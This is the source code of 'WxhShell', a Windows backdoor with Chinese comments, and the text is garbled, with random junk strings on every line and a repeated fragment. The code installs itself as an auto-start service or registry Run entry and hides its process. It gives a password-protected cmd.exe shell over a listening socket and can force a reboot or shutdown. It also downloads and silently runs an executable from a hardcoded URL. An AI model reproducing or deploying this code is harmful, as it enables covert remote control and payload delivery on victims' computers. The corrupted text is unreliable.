yv8dfl "x=@,*Bk static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y ? {PoNI static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c^dl+-{Mc =A6u= HANDLE hProcess; '^.=gTk PROCESS_BASIC_INFORMATION pbi; V5hlG =V >r4Y\"/j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Jib|#! if(NULL == hInst ) return 0; 'wT./&Z B4*X0x g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 63y':g g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WW8L~4Zy NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]'
"^M 8^ ~ZNU-~v if (!NtQueryInformationProcess) return 0; i}$N& S#0|#Z5qD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x`=5l` if(!hProcess) return 0; $U"P+ 8G[Y9A(bmP if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #LNB@E L2/<+Zw CloseHandle(hProcess); <76=H]h~ K9z_=c+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H/v37%p7 if(hProcess==NULL) return 0; *C:q _/ 6!Tf'#TV~! HMODULE hMod; Lct+cKKU char procName[255]; 6_`eTL=G unsigned long cbNeeded; \.{pZMM ?+} E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GD6'R"tJ <g|nmu)o$ CloseHandle(hProcess); 9 (FcA5Y )l!&i?h% if(strstr(procName,"services")) return 1; // 以服务启动 J1y2Qw$G WX[dM
}L return 0; // 注册表启动 1WA""yb } )>#<S0>'j o y%g{,V // 主模块 \Dsl7s= int StartWxhshell(LPSTR lpCmdLine) n.H`1@ { Kjca>/id SOCKET wsl; in;+d~? BOOL val=TRUE; `v/tf|v6 int port=0; eQ)ioY struct sockaddr_in door; i7w}`vs 3bI|X!j if(wscfg.ws_autoins) Install(); k9VQ6A 0wE8GmG port=atoi(lpCmdLine); ?'$.
-z: N(({2'Rr if(port<=0) port=wscfg.ws_port; r{:la56Xd I}Gl*@K&O WSADATA data; )*L?PT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cX=b q_ @}rfY9o' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dU04/]modD setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [ Xo
J7 door.sin_family = AF_INET; '?!<I door.sin_addr.s_addr = inet_addr("127.0.0.1"); &MGgO\|6 door.sin_port = htons(port); Z`1o#yZ D<L{Z[ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h|/*yTuN.y closesocket(wsl); o'}Z!@h return 1; qI%9MI;BV } QX~72X=( xyJgHbml if(listen(wsl,2) == INVALID_SOCKET) { <wGTs6 closesocket(wsl); XkfUPbU return 1; f.xSr! } );.<Yf{c Wxhshell(wsl); qaSv]k. WSACleanup(); 1p5q}">z 0#[Nfe* return 0; [.#$hOsNR 'w$we6f } b8-^wJH! 1nM?>j%k // 以NT服务方式启动 j~j
V`>A VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1~ZHC[ ` { By"ul:.D DWORD status = 0; H(ftOd.y DWORD specificError = 0xfffffff; %KVRiX [~r$US serviceStatus.dwServiceType = SERVICE_WIN32; K]azUK7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; sAAIyPJts serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ewlc ^` serviceStatus.dwWin32ExitCode = 0; Q^5 t]HKn serviceStatus.dwServiceSpecificExitCode = 0; xx2:5 serviceStatus.dwCheckPoint = 0; 9Qm{\ serviceStatus.dwWaitHint = 0; '
xq5tRg> `];[T= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9(Xch2tpO! if (hServiceStatusHandle==0) return; Fl(ZKpSZU 5TW<1'u status = GetLastError(); $G([#N< if (status!=NO_ERROR) gmH0-W)= { :QY 9p T serviceStatus.dwCurrentState = SERVICE_STOPPED; Qz90 mb serviceStatus.dwCheckPoint = 0;
!{=%l+^. serviceStatus.dwWaitHint = 0;
rlh6\Fa serviceStatus.dwWin32ExitCode = status; g<jK^\eW serviceStatus.dwServiceSpecificExitCode = specificError; -Y,Ibq SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5UD;ZV% return; [
^ \) } nQ*oOxe|X Iz=E8R g serviceStatus.dwCurrentState = SERVICE_RUNNING; "+"dALX{3K serviceStatus.dwCheckPoint = 0; H_$f
v_ serviceStatus.dwWaitHint = 0; 7.'j~hJL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +[nYu)puP } ll^O+>1dO e/I{N0SR // 处理NT服务事件,比如:启动、停止 o~N-x* VOID WINAPI NTServiceHandler(DWORD fdwControl) 7`n8
OR4 { `)_FO]m}jS switch(fdwControl) Z
s!q#qM { #Y b9w3N case SERVICE_CONTROL_STOP: H0Xda.Y( serviceStatus.dwWin32ExitCode = 0; pNme jz: serviceStatus.dwCurrentState = SERVICE_STOPPED; E$fy*enON serviceStatus.dwCheckPoint = 0; R1%T>2"~& serviceStatus.dwWaitHint = 0; !f[N&se { 3JO:n6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); B
~bU7.Cd } 3gXUfv2ID return; &%51jM< case SERVICE_CONTROL_PAUSE: A)0m~+?{J serviceStatus.dwCurrentState = SERVICE_PAUSED; 'n`$c{N<tM break; ,
Vr6
case SERVICE_CONTROL_CONTINUE: ,tc]E45 serviceStatus.dwCurrentState = SERVICE_RUNNING; obkv ]~ break; a'.=.eDQ case SERVICE_CONTROL_INTERROGATE: \shoLp
break; vYun^(_- }; m#(x D~V SetServiceStatus(hServiceStatusHandle, &serviceStatus); D#(L@{vC } K_Gf\x @y%qQe/g // 标准应用程序主函数 Gs?sO?j int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xc<9[@ { hIHO a _$x *CP0( // 获取操作系统版本
C_&tOt OsIsNt=GetOsVer(); NWcF9z%@ GetModuleFileName(NULL,ExeFile,MAX_PATH); D'=`O6pK JIkmtZv // 从命令行安装 :zZM&r> if(strpbrk(lpCmdLine,"iI")) Install(); z>q_]U0 gC:E38u // 下载执行文件 "A$Y)j<#G if(wscfg.ws_downexe) { ^E8Hv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L^Af3]]2 WinExec(wscfg.ws_filenam,SW_HIDE); D7oV&vXg } Eu}A{[^\ 7~g0{W>Zm if(!OsIsNt) { 8XE0 p7 // 如果时win9x,隐藏进程并且设置为注册表启动 $a]dxRkz HideProc(); /FXfu StartWxhshell(lpCmdLine); &Vm[5XW } .5zJ bZ9 else ;]e"bX if(StartFromService()) V)@scB|>, // 以服务方式启动 N($]))~3& StartServiceCtrlDispatcher(DispatchTable); =sJHnWL[ else [C#pMLp,~ // 普通方式启动 =1uI >[aN StartWxhshell(lpCmdLine); Np)!23 " {RO=4ba{J return 0; &}?e:PEy } nhxl# tt91)^GdYa od|.E$B vDL/PXNC =========================================== *GMRu,u2 L*38T\ G 3x1w/L S]{Z_|h*j :@L5=2Z+ [O'p&j@ "
]YKWa" O2B$c\pw #include <stdio.h> r3)t5P*_ #include <string.h> %dQX d] #include <windows.h> p*,mwKN: #include <winsock2.h> zAIC5fvu #include <winsvc.h> S^.=j
oI #include <urlmon.h> YEj U3^@ LdL\B0^l #pragma comment (lib, "Ws2_32.lib") mLqm83 #pragma comment (lib, "urlmon.lib") O@$i C\[UAxZ3X #define MAX_USER 100 // 最大客户端连接数 &kE|~i:=,9 #define BUF_SOCK 200 // sock buffer C?J%^?v #define KEY_BUFF 255 // 输入 buffer hkxZ=l bL%)k61G_v #define REBOOT 0 // 重启 %(6Wr E5F6 #define SHUTDOWN 1 // 关机 ]vrs? CSs6Vm!= #define DEF_PORT 5000 // 监听端口 }8e%s;C lX7^LB #define REG_LEN 16 // 注册表键长度 &3. 8i% #define SVC_LEN 80 // NT服务名长度 :'=C/AL ,%^0 4sl // 从dll定义API )}v2Z3: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); + u+fEg/A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x(~l[hT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G[ea@u$? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [8n4lE[)" UYUdIIoL // wxhshell配置信息 |@F<ajlV struct WSCFG { Y_B(R int ws_port; // 监听端口 5 Da(DA char ws_passstr[REG_LEN]; // 口令 [d}1Cq=_ int ws_autoins; // 安装标记, 1=yes 0=no \~>#<@h char ws_regname[REG_LEN]; // 注册表键名 UK/k?0 char ws_svcname[REG_LEN]; // 服务名 ;'kH<Iq char ws_svcdisp[SVC_LEN]; // 服务显示名 d0d2QRX char ws_svcdesc[SVC_LEN]; // 服务描述信息 YVi]f2F% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NgKNT}JDv int ws_downexe; // 下载执行标记, 1=yes 0=no o=}?aC3I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ho. a93 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4{=Em5`HbO {s]eXc]K} }; gB#t"s) :KwYuwYS // default Wxhshell configuration WqO*vK!t struct WSCFG wscfg={DEF_PORT, ^q$sCt} "xuhuanlingzhe", L\5n!(,0 1, t!LvV.g+ "Wxhshell", 2vLn# "Wxhshell", :>z0m0nI\ "WxhShell Service", c2QC`h(Wb "Wrsky Windows CmdShell Service", C;|Ru* "Please Input Your Password: ", 2Qy&V/E ? 1, tee%E=P "http://www.wrsky.com/wxhshell.exe", uU0'y4= "Wxhshell.exe" &H6Fkza;4 }; QQJcvaQ ;nbvn // 消息定义模块 L`BLkDm
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6IA~bkc} char *msg_ws_prompt="\n\r? for help\n\r#>"; O B:G5B` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0FBifK char *msg_ws_ext="\n\rExit."; {^F_b% a4z char *msg_ws_end="\n\rQuit."; qdh D6#r char *msg_ws_boot="\n\rReboot..."; <\u%ZB char *msg_ws_poff="\n\rShutdown..."; QQcJUOxT9 char *msg_ws_down="\n\rSave to "; wSGUNP9 9j/B3CjW char *msg_ws_err="\n\rErr!"; Fa8>+ char *msg_ws_ok="\n\rOK!"; |dO1w.x/ _#I0m( char ExeFile[MAX_PATH]; 8oK30? int nUser = 0; e5dw q HANDLE handles[MAX_USER]; w$_ooQ(_;Q int OsIsNt; rBaK$Ut 6k-]2,\# SERVICE_STATUS serviceStatus; n:{yri+ SERVICE_STATUS_HANDLE hServiceStatusHandle; gg =z.`} \%#jT GFs~ // 函数声明 ^(y4]yZ int Install(void); U}NNbGQj int Uninstall(void); p-Z5 {by int DownloadFile(char *sURL, SOCKET wsh); umciP int Boot(int flag); zT@vji%Y void HideProc(void);
& Ef'5 int GetOsVer(void); \|kU{d0 int Wxhshell(SOCKET wsl); 0>vm&W<?) void TalkWithClient(void *cs); ke0Vy(3t{h int CmdShell(SOCKET sock); zK}.Bhj# int StartFromService(void); -7CkOZT int StartWxhshell(LPSTR lpCmdLine); n']@Spm x~
I cSt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RSy1 wp4W VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1'h?qv^( `eA 0Z:`g! // 数据结构和表定义
X@B+{IFC SERVICE_TABLE_ENTRY DispatchTable[] = &}WSfZ0{ { gxF3gM {wscfg.ws_svcname, NTServiceMain}, 'n\ZmG{ {NULL, NULL} l ^{]pD }; >%{h_5 3.soCyxmc // 自我安装 sf%=q$z int Install(void) LGK}oL' { xZ .:H&0G char svExeFile[MAX_PATH]; zk?lNs HKEY key; sD
M!Uv2n strcpy(svExeFile,ExeFile); &iTsuA/7 rkVZP!7! // 如果是win9x系统,修改注册表设为自启动 +:D0tYk2B if(!OsIsNt) { {oO!v}] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^7=yjD` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yk }zN_v RegCloseKey(key); I;=}@]9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p0b&CrALx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $uboOfS83G RegCloseKey(key); u4%-e)$X return 0; -)w/nq } avdi9!J2 } rLp0VKPe } B4|3@X0( else { - iU7' nfd^'}$] // 如果是NT以上系统,安装为系统服务 Hc}(+wQN% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #;+GNF}0mG if (schSCManager!=0) Bdf3@sbM] { NVP~`sxiZ SC_HANDLE schService = CreateService 07n=H~yU ( W Qe>1 schSCManager, ]ko>vQ4]3 wscfg.ws_svcname, `CW =*uBH wscfg.ws_svcdisp, </7J:# SERVICE_ALL_ACCESS, +3VY0J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j
$L SERVICE_AUTO_START, %h^; "|Z SERVICE_ERROR_NORMAL, th !Gc svExeFile, RE*;nSVFt NULL, bjbm"~ NULL, w}+jfO9 NULL, 5'6Oan7dL: NULL, +YXyfTa NULL *PD7H9m ); ; R}:2 if (schService!=0) IU&n!5d$)| { (.Sj"6+ CloseServiceHandle(schService); .7{,u1N' CloseServiceHandle(schSCManager); k: D<Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hCM+=]z" strcat(svExeFile,wscfg.ws_svcname); J-b
Z`)[Q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %G>*Pez% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $33wK RegCloseKey(key); wTqgH@rGtR return 0; x]w%?BlS } G$WMW@fy } VP5_Y1e7 CloseServiceHandle(schSCManager); GkVV%0;&J1 } CPAizS } t '* L, XNsMXeO]& return 1; j&u{a[Y/} } K%)u zP *IfLoKS' // 自我卸载 ] vQn*T"^ int Uninstall(void) kk&
([xqU { <$R'y6U: HKEY key; \vsfY "p0e6Z= if(!OsIsNt) { R FWJ ZN" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o^H.uBO{ RegDeleteValue(key,wscfg.ws_regname); OUQySac RegCloseKey(key); 0;KjP?5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1)w^.8f RegDeleteValue(key,wscfg.ws_regname); /U+0T>(HS RegCloseKey(key); sBt,y_LW return 0; -6@#Nq_iWU } \'x.DVp } ;X*I,g.+H } :.J Ad$>P else { =HH}E/9z s: pmB\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .liVlo@ if (schSCManager!=0)
YH@p\#Y { <BEM`2B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /{|JQ'gqX if (schService!=0) ,'Zs")Ydp { V\vt!wBcB if(DeleteService(schService)!=0) { IZn|1X?}\s CloseServiceHandle(schService); IN~Q(A]Z% CloseServiceHandle(schSCManager); 7a\at)q/y return 0; )lwxFP; } bW-9YXj% CloseServiceHandle(schService); xim'TVwvC } plN:QS$
CloseServiceHandle(schSCManager); C/_Z9LL?F } ?)X0l } wF[%+n (* Qv~lH&jG return 1; b"k1N9 } 4c0 =\v {Dup k0'( // 从指定url下载文件 Xw)W6H| int DownloadFile(char *sURL, SOCKET wsh) C;>!SRCp { Z4KYVHD, HRESULT hr; {_C2c{ char seps[]= "/"; TuG%oV} char *token; c'O"</
char *file; >{R+j4% char myURL[MAX_PATH]; \I"n~h^_ char myFILE[MAX_PATH]; bWv2*XC *5m4j=- strcpy(myURL,sURL); Z}$wvd token=strtok(myURL,seps); m?GBvL$ while(token!=NULL) NpI "XQ { OXDEU. file=token; B:oE&Ahh{ token=strtok(NULL,seps); r^zra|] } %1h%#/#[ `8M{13fv GetCurrentDirectory(MAX_PATH,myFILE); \3q Z0 strcat(myFILE, "\\"); a!guZUg6 strcat(myFILE, file); jJbS{1z send(wsh,myFILE,strlen(myFILE),0); D6N32q@ send(wsh,"...",3,0); rJtpTV@. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s`#g<_ {X if(hr==S_OK) jEu-CU#: return 0; o&-D[|E| else pm` f?Py return 1; oDW)2*8yF SJ*qgI?}T } D qu?mg;L ;T hn C>U // 系统电源模块 6 H{G$[2 int Boot(int flag) nOTe 3?i> { f0M5^ HANDLE hToken; <*_DC)&79 TOKEN_PRIVILEGES tkp; L+K,Y:D!W Tji* \<? if(OsIsNt) { ,B 2p\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L5DeLF+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >v#6SDg tkp.PrivilegeCount = 1; e5
N$+P" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tXfXuHa AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JIatRc?g if(flag==REBOOT) { !(A< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gkhmQd return 0; ,76Q*p } @PzRHnT* else { %1\~OnT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #kQ1,P6,( return 0; >lkjoEVQ } /JjSx/ } '+&!;Jj, else { xcE2hK/+ if(flag==REBOOT) { M.qE$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?+_Y!*J2b return 0; SDu%rr7sQ } rczwxWK else { f1AO<>I; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j4%\'xj: return 0; -[}Ah NYK } &iO53I^r/ }
#sm@|'Q% NjFlV(XT} return 1; o)WzZ,\F^J } B,b^_4XX$ c8h71Cr // win9x进程隐藏模块 BN1,R] *; void HideProc(void) eNDc220b { "N3!!3 X? 7s
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yij_'0vZ if ( hKernel != NULL ) 3w&Z:< { 6GMwB@ b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s:xt4< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nTv^][ FreeLibrary(hKernel); &8HJ4Vj2 } +8}8b_bgH M~U>"kX return; 7*eIs2aY } 9]gV#uF #X"fm1 // 获取操作系统版本 m$`4.>J int GetOsVer(void) ffy,ds_7 { g?rK&UTU OSVERSIONINFO winfo; Ri/D>[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,l#f6H7p
GetVersionEx(&winfo); k r5'E# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wgm{
]9Q return 1; wvI}|c else goZw![4l return 0; >p29|TFbV } ]#;u] TBmmC}PEd // 客户端句柄模块 F%I*m^7d int Wxhshell(SOCKET wsl) uQl=?085 { Ask~ SOCKET wsh; >P}6/L struct sockaddr_in client; Wb#ON|.2 DWORD myID; Yb348kRF /Py`a1 while(nUser<MAX_USER) v*&WqVg { /6FPiASbS int nSize=sizeof(client); OouR4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YR"IPyj if(wsh==INVALID_SOCKET) return 1; (m() r0:@ 2Uy}#n|)r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u vyvy if(handles[nUser]==0) F\ %PB p closesocket(wsh); XZ4H(Cj else ^.~ F_ nUser++; ,-V7~gM%} } Lpk`qJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @<$_X1)s E9Hyd #A return 0; \tfhF#' } 6C- !^8[f TUi< // 关闭 socket /mQ9}E4X void CloseIt(SOCKET wsh) s;,ulME { YH3[Jvzf4 closesocket(wsh); 9u1Fk'cxG, nUser--; yHmNO*(
ExitThread(0); `aM8L } #{~3bgY gcF V$ // 客户端请求句柄 .~%,eF;l$ void TalkWithClient(void *cs) *40Z}1ng { l j %k/u `7Dj}vVu SOCKET wsh=(SOCKET)cs; +IM6 GeH char pwd[SVC_LEN]; XBos^Q char cmd[KEY_BUFF]; `cqZ;(^ char chr[1]; J1d|L|M int i,j; &Ui&2EW &P(vm@* while (nUser < MAX_USER) { 9=G
dj!L *cc|(EM if(wscfg.ws_passstr) { 3&Fqd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :i]g+</ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cgn@@P5ZC //ZeroMemory(pwd,KEY_BUFF); oI9-jW i=0; u\@L|rh while(i<SVC_LEN) { GI/4<J\ h<FEe~ // 设置超时 [zhcb+^5l fd_set FdRead; E akS(Q? struct timeval TimeOut; oT^r FD_ZERO(&FdRead); 6gD|QC~; FD_SET(wsh,&FdRead); l`vr({A TimeOut.tv_sec=8; 1#jvr_ ga TimeOut.tv_usec=0; V5]:^= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6EkD(w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7.(vog"I) MKr:a]-'f~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DZ&AwF pwd=chr[0]; K9Bi2/N if(chr[0]==0xd || chr[0]==0xa) { #*;Nb pwd=0; l(?Yx break; EhHW` } } bEu+bZ i++; kA(q-Re$B* } i
,g<y 6|{uZNz // 如果是非法用户,关闭 socket d5tpw$A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p&(~c/0 } ?p!+s96 KDy:A>_ G" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W'M\DKJ? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fSzX /r 21G:!t4/?n while(1) { C6wlRvWn -~imxPmZ ZeroMemory(cmd,KEY_BUFF); nwAx47>{ XrQS?D` // 自动支持客户端 telnet标准 :Qklbd[9qF j=0; (?pn2- Ip while(j<KEY_BUFF) { Y$6W~j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! jb{q bq cmd[j]=chr[0]; von~-51; if(chr[0]==0xa || chr[0]==0xd) { ~*uxKEH cmd[j]=0; fY9/u = break; |h65[9DMP } -}r(75C j++; YK|Y^TU^ } d
3}'J od~`q4p1(- // 下载文件
js8\" if(strstr(cmd,"http://")) { 7Om)uUjU4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); P;!4 VK if(DownloadFile(cmd,wsh)) QprzlxB send(wsh,msg_ws_err,strlen(msg_ws_err),0); <jRs/?1R else G q
r(. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {cBLm/C } fO{E65uA else { 6Bfu89 @X6|[r&Z switch(cmd[0]) { >SZ9,K4Gs ^,KN@ // 帮助 WS)u{
or case '?': { O@bDMg send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CmPix]YMQ break; ICgyCsZ, } ps6c>AN`A& // 安装 "Z6: d"S` case 'i': { t#h<'?\E if(Install()) $MG. I[h send(wsh,msg_ws_err,strlen(msg_ws_err),0); dc0Ro, else RU'DUf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6axmH~_ break; C&ivjFf } v`$9;9 // 卸载 u!DSyHR
' case 'r': { X*'-^WM6 if(Uninstall()) ~ ]q^Akq send(wsh,msg_ws_err,strlen(msg_ws_err),0); W[3)B(Vq<E else kM\O2ay send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uz+b break; GX
lFS#` } 'yM )>]u" // 显示 wxhshell 所在路径 mckrR$> case 'p': { "@I"0OA char svExeFile[MAX_PATH]; cuP5cL/Y strcpy(svExeFile,"\n\r"); S:"t]gbF = strcat(svExeFile,ExeFile); %.R_[.W send(wsh,svExeFile,strlen(svExeFile),0); ngN_,x7yc break; ZR'q.y[k) } U<
p kg // 重启 <`q|6XWL case 'b': { _k@{>
?(a send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8EPV\M1% if(Boot(REBOOT)) ft[g1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^eEj
5Rh else { B"I>mw closesocket(wsh); :*!u\lV \ ExitThread(0); Y2Y2>^ } E#FyL>:.h break; ?s5zTT0U>$ } y6o^ Knl // 关机 EhybaRy;C case 'd': { ?fEX&t,' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k852M^JP if(Boot(SHUTDOWN)) soZw""|v send(wsh,msg_ws_err,strlen(msg_ws_err),0);
Xze else { s%z'1KPS closesocket(wsh); _rqOzE) ExitThread(0); va8V{q@t' } zY|]bP[NEH break; AAdRuO{l1 } ^>ca*g // 获取shell BifA&o% case 's': { ~&~%q u CmdShell(wsh); %1]2+_6 closesocket(wsh); l1N{ujM ExitThread(0); S~F:%@,* break; T}[W')[s } As (C8C< // 退出 h& (@gU`A case 'x': { 2`vCQV send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q[p0bD: CloseIt(wsh); Md
{,@ G break; G6eC.vU]j } xM;gF2 // 离开 asW1GZO case 'q': { FV$= l
% send(wsh,msg_ws_end,strlen(msg_ws_end),0); tb0XXEE closesocket(wsh); ]+':=&+: WSACleanup(); );z}T0C exit(1); %MP s}B break; #Y}Hh7.< } .tN)H1.:B } 2>O2#53ls0 } J6 [x(T u ?g!E."v // 提示信息 H8K<.RY if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @\!wW-:A } 0 $e;#} } z[v5hhI)4 #G.3a]p}" return; 2a=WT`xf? } 7Nwi\#o 0v0Y(
Mo@ // shell模块句柄 vEzzdDwi6 int CmdShell(SOCKET sock) jD^L < { 9v
cUo?/ STARTUPINFO si;
|k/; . ZeroMemory(&si,sizeof(si)); ]QT0sGl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;*W]]4fy si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \-s) D#Y;r PROCESS_INFORMATION ProcessInfo; R~w(] char cmdline[]="cmd"; [l#WS CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B@zJ\Ir[ return 0; R[&lk~a{= } 4!k={Pd fe37T@ // 自身启动模式 "}SERC7 int StartFromService(void) mZ;yk( { cfeX(0 typedef struct +X*`}-3 { FYcMvY DWORD ExitStatus; GYO\l.%V5y DWORD PebBaseAddress; 4E
|6l DWORD AffinityMask; ;7`<.y DWORD BasePriority; g=Qga09 ULONG UniqueProcessId; z{#F9'\& ULONG InheritedFromUniqueProcessId; Y[~6f,?^ } PROCESS_BASIC_INFORMATION; ]Hd0
Y% 50DPzn PROCNTQSIP NtQueryInformationProcess; m]-8?B1`Y Y6L+3*Qt static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l IFt/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; km c9P& u=E?N:I~F HANDLE hProcess; '-i
tn PROCESS_BASIC_INFORMATION pbi; h{* O9O< p fBO5Ys HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _kY5
6 if(NULL == hInst ) return 0; zi?'3T%Ie ^CK)q2K>[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J.<%E[
z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ax^${s|{- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /a$+EQ$ owMH if (!NtQueryInformationProcess) return 0; @6j*XF #>v7"
